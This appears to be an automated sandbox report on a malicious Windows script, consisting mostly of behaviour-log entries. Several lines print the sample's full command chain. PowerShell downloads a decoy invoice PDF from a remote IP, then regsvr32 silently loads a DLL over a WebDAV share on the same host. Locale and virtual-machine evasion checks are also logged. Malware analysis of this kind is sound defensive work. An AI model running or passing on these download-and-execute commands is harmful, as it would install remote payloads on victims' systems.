Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2094.js.csv");ITextStream.WriteLine(" entry:7826 f:comqghr");ITextStream.WriteLine(" exec:2 f:comqghr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5494			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3846			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3216	Thread sleep count: 5494 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3216	Thread sleep count: 3846 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6688	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7488	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7684	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000004.00000003.1279466661.000001C14BD2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: om&Ven_NECVMWar&Prod_VMware_SATA
Source: net.exe, 0000000C.00000002.1357042305.000002ADAB981000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2561549502.000002B53345A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1357042305.000002ADAB918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`R
Source: svchost.exe, 0000000E.00000002.2560123177.000002B52DE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
